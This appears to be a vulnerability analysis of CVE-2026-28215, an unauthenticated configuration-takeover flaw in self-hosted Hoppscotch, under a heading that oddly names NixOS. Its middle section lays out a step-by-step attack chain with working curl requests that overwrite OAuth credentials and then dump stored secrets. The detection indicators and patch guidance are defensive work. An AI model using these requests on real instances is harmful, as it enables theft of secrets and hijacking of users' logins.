CVE-2026-28215: 
NixOS vulnerability analysis and mitigation

CVE-2026-28215 is an unauthenticated onboarding configuration takeover vulnerability in self-hosted Hoppscotch, an open-source API development ecosystem. An unauthenticated attacker can overwrite the entire infrastructure configuration — including OAuth provider credentials and SMTP settings — by sending a single HTTP POST request to POST /v1/onboarding/config with no authentication. All self-hosted Hoppscotch versions up to and including 2026.1.1 are affected; the cloud-hosted version is not impacted. The vulnerability was disclosed on February 26, 2026, and fixed in version 2026.2.0. It carries a CVSS v3.1 base score of 9.1 (Critical) (GitHub Advisory).

The root cause is improper access control (CWE-284) and improper authentication (CWE-287) on the OnboardingController. The POST /v1/onboarding/config endpoint is protected only by a rate-limiting guard (ThrottlerBehindProxyGuard) with no JWT, admin, or session authentication guard applied. Additionally, the updateOnboardingConfig() service method performs no check on whether onboarding has already been completed, allowing the configuration to be overwritten at any time. Upon a successful POST, the endpoint returns an ONBOARDING_RECOVERY_TOKEN (UUID v4) that can then be used with GET /v1/onboarding/config?token= to retrieve all stored infrastructure secrets in plaintext, including SMTP passwords and OAuth client secrets (GitHub Advisory).

A successful exploit enables an attacker to replace Google, GitHub, or Microsoft OAuth application credentials with their own, causing all subsequent SSO logins to authenticate against the attacker's OAuth app — silently harvesting OAuth tokens and email addresses of every affected user. The attacker can also overwrite SMTP settings to route magic-link login emails through a malicious mail server, capturing time-limited authentication tokens. Furthermore, the recovery token returned by the exploit grants plaintext read access to all stored secrets in the InfraConfig database table, including previously configured SMTP passwords and OAuth client secrets. Because the configuration overwrite triggers an application restart, the attacker's configuration becomes active immediately with no visible indicator to the administrator (GitHub Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, including specific curl commands demonstrating the full attack chain. The vulnerability requires no authentication, no privileges, and no user interaction, making it trivially exploitable by any network-reachable attacker. As of the time of disclosure, there is no evidence of active in-the-wild exploitation, and no threat actor attribution has been reported. The EPSS score is approximately 0.086% and the vulnerability is not currently listed in the CISA KEV catalog (GitHub Advisory, Feedly).

1. Reconnaissance: Identify internet-facing self-hosted Hoppscotch instances (versions ≤ 2026.1.1) using Shodan, Censys, or similar tools. Confirm the instance is vulnerable by querying the unauthenticated status endpoint: curl -s http://<TARGET>:3170/v1/onboarding/status — a response with onboardingCompleted: true confirms the target is running and the endpoint is publicly accessible.
2. Register a malicious OAuth app: Create a Google (or GitHub/Microsoft) OAuth application under the attacker's account, noting the client ID and client secret. Set the callback URL to the target instance's OAuth callback (e.g., http://<TARGET>:3170/v1/auth/google/callback).
3. Overwrite OAuth credentials: Send a single unauthenticated POST request to replace the instance's OAuth configuration with the attacker's credentials:

curl -s -X POST http://<TARGET>:3170/v1/onboarding/config \
  -H "Content-Type: application/json" \
  -d '{"VITE_ALLOWED_AUTH_PROVIDERS": "GOOGLE", "GOOGLE_CLIENT_ID": "attacker-client-id.apps.googleusercontent.com", "GOOGLE_CLIENT_SECRET": "GOCSPX-attacker_secret", "GOOGLE_CALLBACK_URL": "http://<TARGET>:3170/v1/auth/google/callback", "GOOGLE_SCOPE": "email,profile"}'

4. Capture the recovery token: Extract the token UUID from the JSON response (e.g., {"token": "f47ac10b-...-0e02b2c3d479"}).
5. Exfiltrate all stored secrets: Use the recovery token to retrieve all infrastructure configuration in plaintext: curl -s "http://<TARGET>:3170/v1/onboarding/config?token=f47ac10b-...-0e02b2c3d479" — this returns SMTP passwords, all OAuth client secrets, and other sensitive configuration values.
6. Harvest user credentials: Wait for legitimate users to log in via SSO; their OAuth tokens and email addresses are now routed through the attacker's OAuth application. Optionally, overwrite SMTP settings to intercept magic-link login emails (GitHub Advisory).

• Network: Unexpected HTTP POST requests to /v1/onboarding/config from external or unknown IP addresses; HTTP GET requests to /v1/onboarding/config?token=<uuid> from unauthorized sources; unusual outbound OAuth callback traffic to unrecognized OAuth application endpoints.
• Logs: Application or web server access logs showing POST /v1/onboarding/config requests from IPs other than the legitimate administrator; GET /v1/onboarding/config?token= requests following shortly after a suspicious POST; application restart events coinciding with unexpected configuration changes.
• Configuration: OAuth provider credentials (Google/GitHub/Microsoft client IDs and secrets) changed to unrecognized values; SMTP server settings modified to point to an unknown mail relay; ONBOARDING_RECOVERY_TOKEN value in the InfraConfig database table updated unexpectedly.
• Authentication Events: Sudden increase in SSO login failures or redirects to unfamiliar OAuth consent screens; user reports of unexpected Google/GitHub/Microsoft OAuth permission prompts from an unrecognized application (GitHub Advisory).

Upgrade all self-hosted Hoppscotch instances to version 2026.2.0 or later, which resolves the vulnerability by adding proper JWT authentication and admin role authorization to the POST /v1/onboarding/config endpoint (GitHub Release). If immediate patching is not possible, restrict network-level access to the /v1/onboarding/* endpoints via firewall or reverse proxy rules to allow only trusted administrator IPs. After patching, review audit logs for unauthorized access to the endpoint, verify OAuth provider credentials and SMTP settings for unauthorized modifications, and rotate all OAuth client secrets and SMTP passwords as a precaution (GitHub Advisory).

The vulnerability was reported by multiple security researchers (credited as saro-prince, bugbunny-research, artylobos, and tracemint) and published as a GitHub Security Advisory by the Hoppscotch maintainer jamesgeorge007 on February 26, 2026. Coverage appeared on The Hacker Wire and CyberHub Blog shortly after disclosure, reflecting community interest given the critical severity and trivial exploitability of the flaw (GitHub Advisory).